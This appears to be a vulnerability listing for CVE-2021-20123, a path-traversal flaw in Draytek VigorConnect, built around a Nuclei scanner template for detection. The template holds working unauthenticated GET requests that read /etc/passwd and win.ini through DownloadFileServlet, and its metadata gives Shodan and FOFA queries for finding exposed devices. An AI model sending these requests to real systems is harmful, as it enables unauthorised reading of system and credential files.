CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:C/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
97.6%
Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
id: CVE-2021-20123
info:
name: Draytek VigorConnect 1.6.0-B - Local File Inclusion
author: 0x_Akoko
severity: high
description: |
Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B.
reference:
- https://www.tenable.com/security/research/tra-2021-42
- https://nvd.nist.gov/vuln/detail/CVE-2021-20123
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-20123
cwe-id: CWE-22
epss-score: 0.02276
epss-percentile: 0.89622
cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: draytek
product: vigorconnect
shodan-query:
- http.html:"VigorConnect"
- http.html:"vigorconnect"
fofa-query: body="vigorconnect"
tags: cve2021,cve,draytek,lfi,vigorconnect,tenable
http:
- method: GET
path:
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/octet-stream"
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "for 16-bit app support"
condition: or
- type: status
status:
- 200
# digest: 4a0a0047304502202f9b4c3ae25e9fe2f90e66155ae1a00ae3cba61df1a36f6f6feea4e95d5293ee022100b6bc309df6c2c97fa41d39b5cd90e220fb455392fdc91af1c47ae8a8d60c5aa7:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:C/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS
Percentile
97.6%